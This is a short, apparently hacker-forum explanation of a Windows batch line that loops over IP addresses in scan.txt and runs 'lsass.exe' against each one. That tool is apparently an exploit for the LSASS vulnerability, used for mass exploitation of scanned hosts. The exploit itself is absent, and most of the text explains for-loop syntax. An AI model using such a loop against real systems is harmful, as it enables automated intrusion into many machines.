br34k 1t d0wn n0w...
for /f "eol=; tokens=1*" %%i in (scan.txt) do lsass.exe %vsn% %%i %ip% %port%
for is a type of loop, the main part is:
for %%variable in (set) do command [parameters]
/f makes it able to do files
eol stands for end of line, that breaks for a new line when it comes to a semicolon
tokens-
specifies which tokens from each line are to be passed to the for body for each iteration. This will cause additional variable names to be allocated. The m-n form is a range, specifying the mth through the nth tokens. If the last character in the tokens= string is an asterisk, then an additional variable is allocated and receives the remaining text on the line after the last token parsed.
SO.. for every IP in scan.txt, connect with lsass to that IP.. simple enough